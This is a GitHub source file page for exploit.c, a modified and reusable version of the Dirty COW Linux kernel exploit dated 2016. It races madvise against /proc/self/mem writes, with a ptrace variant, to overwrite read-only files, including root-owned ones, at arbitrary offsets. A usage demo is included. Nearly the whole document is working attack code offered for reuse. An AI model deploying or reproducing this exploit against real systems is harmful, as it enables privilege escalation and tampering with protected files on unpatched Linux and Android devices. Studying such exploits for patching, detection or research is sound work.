-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathexploit.c
150 lines (138 loc) · 3.63 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#include "os-barrier.h"
/* modified version of the original exploit with some changes:
- by pancake @ nowsecure // 2016
- expose function to make the code reusable
- clean warnings, remove unused vars
- optimize race condition (tested on mobile phones)
- support arbitrary address overwrite
- support arbitrary length of data to overwrite
*/
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
dcow 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include "ptrace.c"
static void *map;
static int fd;
static struct stat st;
static int datalen;
static bool stopped;
static int map_addr = 0;
static void *madviseThread(void *arg) {
int i, c = 0;
repeat:
for (i = 0; i < LOOPS; i++) {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable dcowped in memory.
*/
int map_page = map_addr - (map_addr % 4096);
c += madvise (map + map_page, 100, MADV_DONTNEED);
}
if (!stopped) {
goto repeat;
}
if (c) {
printf ("madvise %d\n", c);
}
return NULL;
}
static void *procselfmemThread(void *data) {
DCowUser *user = data;
int f = open ("/proc/self/mem", O_RDWR);
int i,c = 0;
if (f == -1) {
printf ("Cannot write in /proc/self/mem\n");
return NULL;
}
for (i = 0; i < LOOPS; i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek (f, (size_t)map + map_addr, SEEK_SET);
c += write (f, user->buf, user->len);
}
if (c < 0) {
printf ("procselfmem %d\n", c);
}
close (f);
return NULL;
}
int dirtycow(const char *file, unsigned long long addr, const unsigned char *buf, int len) {
pthread_t pth1, pth2;
datalen = len;
map_addr = addr;
if (file) {
fd = open (file, O_RDONLY);
if (fd == -1) {
return -1;
}
fstat (fd, &st);
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> dcow() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
st.st_size += 4096;
map = mmap (NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (((int)(size_t)map & 0xffff) == 0xffff) {
fprintf (stderr, "Cannot write in the cow\n");
return -1;
}
} else {
// self process magic
}
DCowUser *usr = calloc (sizeof (DCowUser), 1);
usr->addr = (void*)(size_t)addr;
usr->buf = buf;
usr->len = datalen;
/* You have to do it on two threads. */
if (file) {
stopped = true;
pthread_create (&pth1, NULL, madviseThread, (void*)file);
pthread_create (&pth2, NULL, procselfmemThread, usr);
} else {
stopped = false;
pthread_create (&pth1, NULL, madviseThread, (void*)file);
pthread_create (&pth2, NULL, ptraceThread, usr);
pthread_join (pth2, NULL);
stopped = true;
pthread_join (pth1, NULL);
}
/* You have to wait for the threads to finish. */
free (usr);
if (file && fd != -1) {
close (fd);
}
return datalen;
}